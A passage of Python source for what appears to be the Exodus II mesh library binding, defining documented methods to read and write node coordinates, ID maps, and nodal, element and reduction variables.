<list<ctypes.c_double>>  z_coords  global z-direction coordinates\n\n            if array_type == 'numpy':\n              <np_array<double>>  x_coords  global x-direction coordinates\n              <np_array<double>>  y_coords  global y-direction coordinates\n              <np_array<double>>  z_coords  global z-direction coordinates\n        \"\"\"\n        self.__ex_get_coord()\n        if self.use_numpy:\n            self.coordsX = ctype_to_numpy(self, self.coordsX)\n            self.coordsY = ctype_to_numpy(self, self.coordsY)\n            self.coordsZ = ctype_to_numpy(self, self.coordsZ)\n        return self.coordsX, self.coordsY, self.coordsZ\n\n    # --------------------------------------------------------------------\n\n    def get_coord(self, i):\n        \"\"\"\n        get model coordinates of a single node\n\n        >>> x_coord, y_coord, z_coord = exo.get_coord(node_index)\n\n        Parameters\n        ----------\n        node_index : int\n            the 1-based node index (indexing is from 1 to exo.num_nodes())\n\n        Returns\n        -------\n        x_coord : double\n            global x-direction coordinate\n        y_coord : double\n            global y-direction coordinate\n        z_coord : double\n            global z-direction coordinate\n\n        Note:\n        -----\n        >>> x_coords, y_coords, z_coords = exo.get_coords()\n        >>> x_coord = x_coords[node_index-1]\n        >>> y_coord = y_coords[node_index-1]\n        >>> z_coord = z_coords[node_index-1]\n            ... is equivalent to ...\n        >>> x_coord, y_coord, z_coord = exo.get_coords(node_index)\n\n        \"\"\"\n        listX, listY, listZ = self.__ex_get_partial_coord(i, 1)\n        return listX[0], listY[0], listZ[0]\n\n    # --------------------------------------------------------------------\n\n    def put_coords(self, xCoords, yCoords, zCoords):\n        \"\"\"\n        store model coordinates of all nodes; for each coordinate\n        direction, a length exo.num_nodes() list is input\n\n        >>> status = exo.put_coords(x_coords, y_coords, z_coords)\n\n        Parameters\n        ----------\n        x_coord : <list<float>>\n            global x-direction coordinates\n        y_coord : <list<float>>\n            global y-direction coordinates\n        z_coord : <list<float>>\n            global z-direction coordinates\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        self.__ex_put_coord(xCoords, yCoords, zCoords)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def get_node_num_map(self):\n        \"\"\"\n        **DEPRECATED** use: `get_node_id_map()`\n\n        get mapping of exodus node index to user- or application-\n        defined node id; node_id_map is ordered the same as the nodal\n        coordinate arrays returned by exo.get_coords() -- this ordering\n        follows the exodus node *INDEX* order, a 1-based system going\n        from 1 to exo.num_nodes(); a user or application can optionally\n        use a separate node *ID* numbering system, so the node_id_map\n        points to the node *ID* for each node *INDEX*\n\n        >>> node_id_map = exo.get_node_num_map()\n\n        Returns\n        -------\n            <list<ctypes.c_int>>  node_id_map\n        \"\"\"\n        return self.__ex_get_node_num_map()\n\n    # --------------------------------------------------------------------\n\n    def put_node_id_map(self, id_map):\n        \"\"\"\n        store mapping of exodus node index to user- or application-\n        defined node id; node_id_map is ordered the same as the nodal\n        coordinate arrays returned by exo.get_coords() -- this ordering\n        follows the exodus node *INDEX* order, a 1-based system going\n        from 1 to exo.num_nodes(); a user or application can optionally\n        use a separate node *ID* numbering system, so the node_id_map\n        points to the node *ID* for each node *INDEX*\n\n        >>> status = exo.put_node_id_map(node_id_map)\n\n        Parameters\n        ----------\n            <list<int>>  node_id_map\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        return self.__ex_put_id_map('EX_NODE_MAP', id_map)\n\n    # --------------------------------------------------------------------\n\n    def get_node_variable_names(self):\n        \"\"\"\n        get the list of nodal variable names in the model\n\n        >>> nvar_names = exo.get_node_variable_names()\n\n        Returns\n        -------\n              <list<string>>  nvar_names\n        \"\"\"\n        if self.__ex_get_variable_param('EX_NODAL').value == 0:\n            return []\n        return self.__ex_get_variable_names('EX_NODAL')\n\n    # --------------------------------------------------------------------\n\n    def get_node_variable_number(self):\n        \"\"\"\n        get the number of nodal variables in the model\n\n        >>> num_nvars = exo.get_node_variable_number()\n\n        Returns\n        -------\n        num_nvars : int\n        \"\"\"\n        return self.__ex_get_variable_param('EX_NODAL').value\n\n    # --------------------------------------------------------------------\n\n    def set_node_variable_number(self, number):\n        \"\"\"\n        update the number of nodal variables in the model\n\n        >>> status = exo.set_node_variable_number(num_nvars)\n\n        Parameters\n        ----------\n        num_nvars : int\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        self.__ex_put_variable_param('EX_NODAL', number)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def put_node_variable_name(self, name, index):\n        \"\"\"\n        add the name and index of a new nodal variable to the model;\n        nodal variable indexing goes from 1 to exo.get_node_variable_number()\n\n        >>> status = exo.put_node_variable_name(nvar_name, nvar_index)\n\n        Parameters\n        ----------\n            <string>  nvar_name   name of new nodal variable\n            <int>     nvar_index  1-based index of new nodal variable\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n\n        Note:\n        ----\n        this method is often called within the following sequence:\n\n        >>> num_nvars = exo.get_node_variable_number()\n        >>> new_nvar_index = num_nvars + 1\n        >>> num_nvars += 1\n        >>> exo.set_node_variable_number(num_nvars)\n        >>> exo.put_node_variable_name(\"new_nvar_name\", new_nvar_index)\n        \"\"\"\n        NDvarNames = self.get_variable_names('EX_NODAL')\n        if name in NDvarNames:\n            print(f'WARNING: node variable \\\"{name}\\\" already exists.')\n        if index > len(NDvarNames):\n            raise Exception(\"ERROR: variable index out of range.\")\n        self.__ex_put_variable_name('EX_NODAL', index, name)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def get_node_variable_values(self, name, step):\n        \"\"\"\n        get list of nodal variable values for a nodal variable name\n        and time step\n\n        >>> nvar_vals = exo.get_node_variable_values(nvar_name, time_step)\n\n        Parameters\n        ----------\n            <string>  nvar_name  name of nodal variable\n            <int>     time_step  1-based index of time step\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<ctypes.c_double>>  nvar_vals\n\n            if array_type == 'numpy':\n              <np_array<double>>  nvar_vals\n        \"\"\"\n        names = self.get_variable_names('EX_NODAL')\n        var_id = names.index(name) + 1\n        numVals = self.num_nodes()\n        values = self.__ex_get_var(step, 'EX_NODAL', var_id, 0, numVals)\n        if self.use_numpy:\n            values = ctype_to_numpy(self, values)\n        return values\n\n    # --------------------------------------------------------------------\n\n    def get_partial_node_variable_values(self, name, step, start_index, num_nodes):\n        \"\"\"\n        get partial list of nodal variable values for a nodal variable name\n        and time step.  Start at node `node_index` (1-based) and return `num_nodes`\n        from that point.\n\n        >>> nvar_vals = exo.get_partial_node_variable_values(nvar_name, time_step, 10, 100)\n\n        Parameters\n        ----------\n            <string>  nvar_name   name of nodal variable\n            <int>     time_step   1-based index of time step\n            <int>     start_index 1-based index of node to start returning data\n            <int>     num_nodes   number of nodes to return data for.\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<ctypes.c_double>>  nvar_vals\n\n            if array_type == 'numpy':\n              <np_array<double>>  nvar_vals\n        \"\"\"\n        names = self.get_variable_names('EX_NODAL')\n        var_id = names.index(name) + 1\n        values = self.__ex_get_partial_var(step, 'EX_NODAL', var_id, 0, start_index, num_nodes)\n        if self.use_numpy:\n            values = ctype_to_numpy(self, values)\n        return values\n\n    # --------------------------------------------------------------------\n\n    def put_node_variable_values(self, name, step, values):\n        \"\"\"\n        store a list of nodal variable values for a nodal variable\n        name and time step\n\n        >>> status = exo.put_node_variable_values(nvar_name, time_step, nvar_vals)\n\n        Parameters\n        ----------\n            <string>       nvar_name  name of nodal variable\n            <int>          time_step  1-based index of time step\n            <list<float>>  nvar_vals\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        names = self.get_variable_names('EX_NODAL')\n        var_id = names.index(name) + 1\n        numVals = self.num_nodes()\n        self.__ex_put_var(step, 'EX_NODAL', var_id, 0, numVals, values)\n        return True\n\n    #\n    # elements\n    #\n    # --------------------------------------------------------------------\n\n    def num_elems(self):\n        \"\"\"\n        get the number of elements in the model\n\n        >>> num_elems = exo.num_elems()\n\n        Returns\n        -------\n        num_elems : int\n        \"\"\"\n        return self.numElem.value\n\n    # --------------------------------------------------------------------\n\n    def get_num_map(self, mapType, idx):\n        \"\"\"\n        get user-defined map of exodus element/node/edge/face index to user- or\n        application- defined element/node/edge/face values. Map values are arbitary integers\n\n        >>> elem_num_map = exo.get_num_map('EX_ELEM_MAP', 1)\n\n        Parameters\n        ----------\n            mapType   : ex_entity_type\n                        type of map being queried ('EX_ELEM_MAP', 'EX_NODE_MAP', 'EX_FACE_MAP', 'EX_EDGE_MAP')\n            idx       : int\n                        which map to return (1-based).  Use `inquire(mapType)` to get number of maps stored on database.\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<int>>  num_map\n\n            if array_type == 'numpy':\n              <np_array<int>>  num_map\n\n\n        Usage\n        -----\n        >>> em_cnt = exo.inquire('EX_INQ_ELEM_MAP')\n        >>> em     = exo.get_names('EX_ELEM_MAP')\n        >>> map    = exo.get_num_map('EX_ELEM_MAP', 2)\n\n        \"\"\"\n        return self.__ex_get_num_map(mapType, idx)\n\n    # --------------------------------------------------------------------\n\n    def put_num_map(self, mapType, idx, num_map):\n        \"\"\"\n        put user-defined map of exodus element/node/edge/face index to user- or\n        application- defined element/node/edge/face values. Map values are arbitary integers\n\n\n        Parameters\n        ----------\n            mapType   : ex_entity_type\n                        type of map being written ('EX_ELEM_MAP', 'EX_NODE_MAP', 'EX_FACE_MAP', 'EX_EDGE_MAP')\n            idx       : int\n                        which map to write (1-based).  Use `put_map_param(node_map_cnt, elem_map_cnt)` prior to this\n                        function to define number of maps on the database.\n            <list<int>>  elem_id_map\n\n\n        Usage\n        -----\n\n        >>> exo.put_map_param(nm_cnt, em_cnt)\n        >>> nm[0] = \"My_Node_Map\"\n        >>> exo.put_names('EX_NODE_MAP', nm);\n        >>> exo.put_num_map('EX_NODE_MAP', 1, scale_map)\n\n        \"\"\"\n        return self.__ex_put_num_map(mapType, idx, num_map)\n\n    def put_map_param(self, node_map_cnt, elem_map_cnt):\n        \"\"\"\n        Define number of node and element maps that will be written to the database\n\n        Parameters\n        ----------\n        node_map_cnt  : int\n                        number of node maps\n        elem_map_cnt  : int\n                        number of element maps\n\n        \"\"\"\n        return self.__ex_put_map_param(node_map_cnt, elem_map_cnt)\n\n    # --------------------------------------------------------------------\n\n    def get_id_map(self, mapType):\n        \"\"\"\n        get mapping of exodus element/node/edge/face index to user- or\n        application- defined element/node/edge/face id; id_map is ordered by the\n        *INDEX* ordering, a 1-based system going from 1 to\n        exo.num_???s(), used by exodus for storage and input/output\n        of array data stored on the elements/nodes/edges/faces; a user or application\n        can optionally use a separate *ID* numbering system,\n        so the id_map points to the element/node/edge/face *ID* for each\n        *INDEX*\n\n        >>> elem_id_map = exo.get_id_map('EX_ELEM_MAP')\n\n        Parameters\n        ----------\n            mapType   : ex_entity_type\n                        type of map being queried ('EX_ELEM_MAP', 'EX_NODE_MAP', 'EX_FACE_MAP', 'EX_EDGE_MAP')\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<int>>  id_map\n\n            if array_type == 'numpy':\n              <np_array<int>>  id_map\n\n        \"\"\"\n        return self.__ex_get_id_map(mapType)\n\n    # --------------------------------------------------------------------\n\n    def get_elem_id_map(self):\n        \"\"\"\n        get mapping of exodus element index to user- or application-\n        defined element id; elem_id_map is ordered by the element\n        *INDEX* ordering, a 1-based system going from 1 to\n        exo.num_elems(), used by exodus for storage and input/output\n        of array data stored on the elements; a user or application\n        can optionally use a separate element *ID* numbering system,\n        so the elem_id_map points to the element *ID* for each\n        element *INDEX*\n\n        >>> elem_id_map = exo.get_elem_id_map()\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<int>>  elem_id_map\n\n            if array_type == 'numpy':\n              <np_array<int>>  elem_id_map\n        \"\"\"\n        return self.__ex_get_id_map('EX_ELEM_MAP')\n\n    # --------------------------------------------------------------------\n\n    def put_elem_id_map(self, id_map):\n        \"\"\"\n        store mapping of exodus element index to user- or application-\n        defined element id; elem_id_map is ordered by the element\n        *INDEX* ordering, a 1-based system going from 1 to\n        exo.num_elems(), used by exodus for storage and input/output\n        of array data stored on the elements; a user or application\n        can optionally use a separate element *ID* numbering system,\n        so the elem_id_map points to the element *ID* for each\n        element *INDEX*\n\n        >>> status = exo.put_elem_id_map(elem_id_map)\n\n        Parameters\n        ----------\n            <list<int>>  elem_id_map\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        return self.__ex_put_id_map('EX_ELEM_MAP', id_map)\n\n    # --------------------------------------------------------------------\n\n    def put_id_map(self, map_type, id_map):\n        \"\"\"\n        store mapping of exodus entity index to user- or application-\n        defined entity id; id_map is ordered by the entity\n        *INDEX* ordering, a 1-based system going from 1 to\n        exo.num_XXX(), used by exodus for storage and input/output\n        of array data stored on the entities; a user or application\n        can optionally use a separate entity *ID* numbering system,\n        so the elem_id_map points to the entity *ID* for each\n        entity *INDEX*\n\n        >>> status = exo.put_id_map('EX_ELEM_MAP', elem_id_map)\n\n        Parameters\n        ----------\n            ex_entity_type   map_type\n                        type of map being queried ('EX_ELEM_MAP', 'EX_NODE_MAP', 'EX_FACE_MAP', 'EX_EDGE_MAP')\n            <list<int>>  elem_id_map\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        return self.__ex_put_id_map(map_type, id_map)\n\n    # --------------------------------------------------------------------\n\n    def get_block_id_map(self, obj_type, entity_id):\n        \"\"\"\n        Gets the map of elements found in the given entity_id of an object\n        of obj_type.\n\n        *INDEX* ordering, a 1-based system going from 1 to\n        number of elements in the elem_block, used by exodus for\n        storage and input/output of array data stored on the elements;\n        a user or application can optionally use a separate element *ID* numbering system,\n        so the elem_id_map points to the element *ID* for each\n        element *INDEX*\n\n        >>> elem_block_id_map = exo.get_block_id_map(\"EX_ELEM_BLOCK\", 100)\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<int>>  elem_id_map\n\n            if array_type == 'numpy':\n              <np_array<int>>  elem_id_map\n        \"\"\"\n        return self.__ex_get_block_id_map(obj_type, entity_id)\n\n    # --------------------------------------------------------------------\n\n    def get_elem_num_map(self):\n        \"\"\"\n        **DEPRECATED** use: `get_elem_id_map()`\n\n        get mapping of exodus element index to user- or application-\n        defined element id; elem_id_map is ordered by the element\n        *INDEX* ordering, a 1-based system going from 1 to\n        exo.num_elems(), used by exodus for storage and input/output\n        of array data stored on the elements; a user or application\n        can optionally use a separate element *ID* numbering system,\n        so the elem_id_map points to the element *ID* for each\n        element *INDEX*\n\n        >>> elem_id_map = exo.get_elem_num_map()\n\n        Returns\n        -------\n            <list<ctypes.c_int>>  elem_id_map\n        \"\"\"\n        return self.__ex_get_elem_num_map()\n\n    # --------------------------------------------------------------------\n\n    def get_elem_order_map(self):\n        \"\"\"\n        get mapping of exodus element index to application-defined\n        optimal ordering; elem_order_map is ordered by the element\n        index ordering used by exodus for storage and input/output\n        of array data stored on the elements; a user or application\n        can optionally use a separate element ordering, e.g. for\n        optimal solver performance, so the elem_order_map points to\n        the index used by the application for each exodus element\n        index\n\n        >>> elem_order_map = exo.get_elem_order_map()\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<int>>  elem_order_map\n\n            if array_type == 'numpy':\n              <np_array<int>>  elem_order_map\n        \"\"\"\n\n        elemOrderMap = self.__ex_get_elem_order_map()\n        if self.use_numpy:\n            elemOrderMap = ctype_to_numpy(self, elemOrderMap)\n        return elemOrderMap\n\n    # Generic (objType) get/put/query...\n    # --------------------------------------------------------------------\n\n    # --------------------------------------------------------------------\n\n    def get_node_id_map(self):\n        \"\"\"\n        get mapping of exodus node index to user- or application-\n        defined node id; node_id_map is ordered the same as the nodal\n        coordinate arrays returned by exo.get_coords() -- this ordering\n        follows the exodus node *INDEX* order, a 1-based system going\n        from 1 to exo.num_nodes(); a user or application can optionally\n        use a separate node *ID* numbering system, so the node_id_map\n        points to the node *ID* for each node *INDEX*\n\n        >>> node_id_map = exo.get_node_id_map()\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<int>>  node_id_map\n\n            if array_type == 'numpy':\n              <np_array<int>>  node_id_map\n        \"\"\"\n        return self.__ex_get_id_map('EX_NODE_MAP')\n\n    # --------------------------------------------------------------------\n\n    def get_name(self, object_type, object_id):\n        \"\"\"\n        get the name of the specified entity_type and entity\n\n        >>> elem_blk_name = exo.get_name('EX_ELEM_BLOCK', elem_blk_id)\n\n        Parameters\n        ----------\n        object_type : int\n            block/set type\n        object_id : int\n            block/set *ID* (not *INDEX*)\n\n        Returns\n        -------\n        name : string\n        \"\"\"\n        return self.__ex_get_name(object_type, object_id)\n\n    # --------------------------------------------------------------------\n\n    def put_name(self, object_type, object_id, name):\n        \"\"\"\n        put the name of the specified entity_type and entity\n\n        >>> exo.put_name('EX_ELEM_BLOCK', elem_blk_id, block_name)\n\n        Parameters\n        ----------\n        object_type : int\n            block/set type\n        object_id : int\n            block/set *ID* (not *INDEX*)\n        name : string\n            block/set name\n\n        Returns\n        -------\n        elem_blk_name : string\n        \"\"\"\n        self.__ex_put_name(object_type, object_id, name)\n\n    # --------------------------------------------------------------------\n\n    def get_names(self, object_type):\n        \"\"\"\n        get a list of all block/set names ordered by block/set *INDEX*;\n        (see `exodus.get_ids` for explanation of the\n        difference between *ID* and *INDEX*)\n\n        >>> blk_names = exo.get_names('EX_ELEM_BLOCK')\n\n        Parameters\n        ----------\n        object_type : int\n            block/set type\n\n        Returns\n        -------\n            <list<string>>  names\n        \"\"\"\n        return self.__ex_get_names(object_type)\n\n    # --------------------------------------------------------------------\n\n    def put_names(self, object_type, names):\n        \"\"\"\n        store a list of all block/set names of the specified\n        `object_type` ordered by *INDEX*;\n        (see `exodus.get_ids` for explanation of the\n        difference between *ID* and *INDEX*)\n\n        >>> exo.put_names('EX_ELEM_BLOCK', elem_blk_names)\n\n        Parameters\n        ----------\n        object_type : int\n        names : <list<string>>\n        \"\"\"\n\n        self.__ex_put_names(object_type, names)\n\n    # --------------------------------------------------------------------\n\n    def get_reduction_variable_values(self, objType, id, step):\n        \"\"\"\n        get list of reduction variable values for a specified entity type and\n        id, and time step\n\n        >>> evar_vals = exo.get_reduction_variable_values('EX_ELEM_BLOCK', elem_blk_id, time_step)\n\n        Parameters\n        ----------\n        objType   : ex_entity_type\n            type of object being queried\n        id        : int\n            entity *ID* (not *INDEX*)\n        time_step : int\n            1-based index of time step\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<ctypes.c_double>>  evar_vals\n\n            if array_type == 'numpy':\n              <np_array<double>>  evar_vals\n\n        \"\"\"\n        numVals = self.get_reduction_variable_number(objType)\n        values = self.__ex_get_reduction_vars(step, objType, id, numVals)\n        if self.use_numpy:\n            values = ctype_to_numpy(self, values)\n        return values\n\n    # --------------------------------------------------------------------\n\n    def put_reduction_variable_values(self, objType, id, step, values):\n        \"\"\"\n        store a list of 'objType' variable values for a specified entity,\n        and time step\n\n        >>> status = exo.put_redcution_variable_values('EX_ELEM_BLOCK', elem_blk_id,\n        ...             time_step, evar_vals)\n\n        Parameters\n        ----------\n        objType : ex_entity_type\n            type of object begin queried\n        id : int\n            element block *ID* (not *INDEX*)\n            <int>          time_step    1-based index of time step\n            <list<float>>  evar_vals\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        numVals = self.get_reduction_variable_number(objType)\n        self.__ex_put_reduction_vars(step, objType, id, numVals, values)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def get_ids(self, objType):\n        \"\"\"\n        get mapping of exodus block/set index to user- or application-\n        defined block/set id; ids is ordered\n        by the *INDEX* ordering, a 1-based system going from\n        1 to number_set_or_block, used by exodus for storage\n        and input/output of array data stored on the blocks/sets; a\n        user or application can optionally use a separate block/set\n        *ID* numbering system, so the ids array points to the\n        block/set *ID* for each set *INDEX*\n\n        >>> node_set_ids = exo.get_ids('EX_NODE_SET')\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<int>>  ids\n\n            if array_type == 'numpy':\n              <np_array<int>>  ids\n        \"\"\"\n        ids = self.__ex_get_ids(objType)\n        if self.use_numpy:\n            ids = self.np.array(ids)\n        return ids\n\n    # --------------------------------------------------------------------\n    def get_variable_truth_table(self, objType, entId=None):\n        \"\"\"\n        gets a truth table indicating which variables are defined for\n        specified entity type; if entId is not passed, then a concatenated\n        truth table for all entities is returned with variable index\n        cycling faster than entity index\n\n        >>> ssvar_truth_tab = exo.get_variable_truth_table('EX_SIDE_SET', sideSetID=side_set_id)\n\n        Parameters\n        ----------\n        entId : int, optional\n            entity *ID* (not *INDEX*)\n\n        Returns\n        -------\n        truth_tab : <list<bool>>\n            True for variable defined in an entity, False otherwise\n        \"\"\"\n        if entId is None:\n            return self.__ex_get_truth_table(objType)\n        else:\n            return self.__ex_get_object_truth_vector(objType, entId)\n\n    # --------------------------------------------------------------------\n\n    def set_variable_truth_table(self, objType, table):\n        \"\"\"\n        stores a truth table indicating which variables are defined for\n        all sets/blocks of the specified `objType` and all variables; variable index cycles\n        faster than entity index\n\n        >>> status = exo.set_variable_truth_table('EX_NODE_SET', nsvar_truth_tab)\n\n        Parameters\n        ----------\n        table : <list<bool>>\n            True for variable defined in a node set, False otherwise\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        return self.__ex_put_truth_table(objType, table)\n\n    # --------------------------------------------------------------------\n\n    def get_variable_names(self, objType):\n        \"\"\"\n        get the list of variable names in the model for the specified object type.\n\n        >>> nar_names = exo.get_variable_names('EX_NODAL')\n\n        Returns\n        -------\n              <list<string>>  nvar_names\n        \"\"\"\n        if self.__ex_get_variable_param(objType).value == 0:\n            return []\n        return self.__ex_get_variable_names(objType)\n\n    # --------------------------------------------------------------------\n\n    def get_reduction_variable_names(self, objType):\n        \"\"\"\n        get the list of reduction variable names in the model for the specified object type.\n\n        >>> nar_names = exo.get_reduction_variable_names('EX_ASSEMBL\"Y')\n\n        Returns\n        -------\n              <list<string>>  nvar_names\n        \"\"\"\n        if self.__ex_get_reduction_variable_param(objType).value == 0:\n            return []\n        return self.__ex_get_reduction_variable_names(objType)\n\n    # --------------------------------------------------------------------\n\n    def get_reduction_variable_name(self, objType, varId):\n        \"\"\"\n        get a single reduction variable name in the model for the specified object type and index.\n\n        >>> nar_name = exo.get_reduction_variable_name('EX_ASSEMBL\"Y', 100)\n\n        Returns\n        -------\n              string  nvar_name\n        \"\"\"\n        if self.__ex_get_reduction_variable_param(objType).value == 0:\n            return \"\"\n        return self.__ex_get_reduction_variable_name(objType, varId)\n\n    # --------------------------------------------------------------------\n\n    def get_variable_number(self, objType):\n        \"\"\"\n        get the number of variables of the specified type in the model\n\n        >>> num_nvars = exo.get_variable_number('EX_NODAL')\n\n        Returns\n        -------\n        num_nvars :               <int>\n        \"\"\"\n        return self.__ex_get_variable_param(objType).value\n\n    # --------------------------------------------------------------------\n\n    def get_reduction_variable_number(self, objType):\n        \"\"\"\n        get the number of reduction variables of the specified type in the model\n\n        >>> num_nvars = exo.get_reduction_variable_number('EX_ASSEMBLY')\n\n        Returns\n        -------\n        num_nvars :               <int>\n        \"\"\"\n        return self.__ex_get_reduction_variable_param(objType).value\n\n    # --------------------------------------------------------------------\n\n    def set_variable_number(self, objType, number):\n        \"\"\"\n        update the number of variables in the model\n\n        >>> status = exo.set_variable_number('EX_NODAL', num_nvars)\n\n        Parameters\n        ----------\n        num_nvars :               <int>\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        self.__ex_put_variable_param(objType, number)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def set_reduction_variable_number(self, objType, number):\n        \"\"\"\n        update the number of reduction variables in the model\n\n        >>> status = exo.set_reduction_variable_number('EX_ASSEMBLY', num_nvars)\n\n        Parameters\n        ----------\n        num_nvars :               <int>\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        self.__ex_put_reduction_variable_param(objType, number)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def put_variable_name(self, objType, name, index):\n        \"\"\"\n        add the name and index of a new variable to the model;\n        variable indexing goes from 1 to exo.get_variable_number()\n\n        >>> status = exo.put_variable_name('EX_NODAL', nvar_name, nvar_index)\n\n        Parameters\n        ----------\n        objType : string\n            object type\n        var_name : string\n            name of new variable\n        nvar_index : int\n            1-based index of new nodal variable\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n\n        Note:\n        ----\n        this method is often called within the following sequence:\n\n        >>> num_nvars = exo.get_variable_number('EX_NODAL')\n        >>> new_nvar_index = num_nvars + 1\n        >>> num_nvars += 1\n        >>> exo.set_variable_number('EX_NODAL', num_nvars)\n        >>> exo.put_variable_name('EX_NODAL', \"new_nvar_name\", new_nvar_index)\n        \"\"\"\n        varNames = self.get_variable_names(objType)\n        if name in varNames:\n            print(f'WARNING: variable \\\"{name}\\\" already exists.')\n        if index > len(varNames):\n            raise Exception(\"ERROR: variable index out of range.\")\n        self.__ex_put_variable_name(objType, index, name)\n        return True\n\n    # --------------------------------------------------------------------\n\n    def put_reduction_variable_name(self, objType, name, index):\n        \"\"\"\n        add the name and index of a new reduction variable to the model;\n        variable indexing goes from 1 to exo.get_reductino_variable_number()\n\n        >>> status = exo.put_reduction_variable_name('EX_ASSEMBLY', assemvar_name, assemvar_index)\n\n        Parameters\n        ----------\n        objType : string\n            object type\n        var_name : string\n            name of new variable\n        nvar_index : int\n            1-based index of new nodal variable\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n\n        Note:\n        ----\n        this method is often called within the following sequence:\n\n        >>> num_assem_vars = exo.get_reduction_variable_number('EX_ASSEMBLY')\n        >>> new_assem_var_index = num_assem_vars + 1\n        >>> num_assem_vars += 1\n        >>> exo.set_reduction_variable_number('EX_ASSEMBLY', num_assem_vars)\n        >>> exo.put_reduction_variable_name('EX_ASSEMBLY', \"new_assem_var_name\", new_assem_var_index)\n        \"\"\"\n        varNames = self.get_reduction_variable_names(objType)\n        if name in varNames:\n            print(f'WARNING: variable \\\"{name}\\\" already exists.')\n        if index > len(varNames):\n            raise Exception(\"ERROR: variable index out of range.\")\n        self.__ex_put_reduction_variable_name(objType, index, name)\n        return True\n\n    def get_entity_count(self, objType, entityId):\n        \"\"\"\n        get number of nodes/elements in the specified set/block. Typically used internally\n        by other user-callable functions.\n\n        Parameters\n        ----------\n        objType   : ex_entity_type\n            type of object being queried\n        entityId : int\n            id of the entity (block, set) *ID* (not *INDEX*)\n        \"\"\"\n\n        numVals = 0\n        if objType == \"EX_NODAL\":\n            numVals = self.num_nodes()\n        elif objType in ['EX_ELEM_BLOCK', 'EX_FACE_BLOCK', 'EX_EDGE_BLOCK']:\n            (_elemType, numVals, _nodesPerElem, _numAttr) = self.__ex_get_block(objType, entityId)\n        elif objType in ['EX_NODE_SET', 'EX_EDGE_SET', 'EX_FACE_SET', 'EX_SIDE_SET']:\n            (numVals, _numDistFactInSet) = self.__ex_get_set_param(objType, entityId)\n\n        return numVals\n\n    def get_variable_values(self, objType, entityId, name, step):\n        \"\"\"\n        get list of `objType` variable values for a specified object id\n        block, variable name, and time step\n\n        >>> evar_vals = exo.get_variable_values('EX_ELEM_BLOCK', elem_blk_id,\n        ...                                            evar_name, time_step)\n\n        Parameters\n        ----------\n        objType   : ex_entity_type\n            type of object being queried\n        entityId : int\n            id of the entity (block, set) *ID* (not *INDEX*)\n        name : string\n            name of variable\n        time_step : int\n            1-based index of time step\n\n        Returns\n        -------\n\n            if array_type == 'ctype':\n              <list<ctypes.c_double>>  evar_vals\n\n            if array_type == 'numpy':\n              <np_array<double>>  evar_vals\n        \"\"\"\n        names = self.get_variable_names(objType)\n        var_id = names.index(name) + 1\n        numVals = self.get_entity_count(objType, entityId)\n\n        values = self.__ex_get_var(step, objType, var_id, entityId, numVals)\n        if self.use_numpy:\n            values = ctype_to_numpy(self, values)\n        return values\n\n    def put_variable_values(self, objType, entityId, name, step, values):\n        \"\"\"\n        store a list of element variable values for a specified element\n        block, element variable name, and time step\n\n        >>> status = exo.put_variable_values('EX_ELEM_BLOCK', elem_blk_id,\n        ...             evar_name, time_step, evar_vals)\n\n        Parameters\n        ----------\n        entityId : int  entity *ID* (not *INDEX*)\n            <string>    name    name of variable\n            <int>          time_step    1-based index of time step\n            <list<float>>  values the variable values to be output\n\n        Returns\n        -------\n        status : bool\n            True = successful execution\n        \"\"\"\n        names = self.get_variable_names(objType)\n        var_id = names.index(name) + 1\n        numVals = self.get_entity_count(objType, entityId)\n\n        self.__ex_put_var(step, objType, var_id, entityId, numVals, values)\n        return True\n\n    def get_attribute_count(self, objType, objId):\n        \"\"\"\n        IS THIS NEEDED, PYTHONIC WAY MAY BE TO JUST GET THEM...\n\n        get the number of attributes on the specified entity\n\n        >>> num_attribute = exo.get_attribute_count('EX_ASSEMBLY', 100)\n\n        Parameters\n        ----------\n        objType   : ex_entity_type\n            type of object being queried\n        id        : int\n            entity *ID* (not *INDEX*)\n\n        Returns\n        -------\n            <int>  num_attribute\n        \"\"\"\n        return self.__ex_get_attribute_count(objType, objId)\n\n    def get_attributes(self, objType, objId):\n        \"\"\"\n        >>> attributes = exo.get_attributes('EX_ASSEMBLY', 100)\n\n        Returns\n        -------\n            <ex_attribute list> attributes\n        \"\"\"\n\n        return self.__ex_get_attributes(objType, objId)\n\n    def put_attribute(self, attribute):\n        \"\"\"\n        >>> attribute = exodus.attribute('Scale', 'EX_ASSEMBLY', 100)\n        >>> attribute.values = [1.1, 1.0, 1.2]\n        >>> attributes = exo.put_attribute(attribute)\n\n        Returns\n        -------\n            <ex_attribute list> attributes\n        \"\"\"\n\n        return self.__ex_put_attribute(attribute)\n\n    def num_assembly(self):\n        \"\"\"\n        get the number of assemblies in the model\n\n        >>> num_assembly = exo.num_assembly()\n\n        Returns\n        -------\n            <int>  num_assembly\n        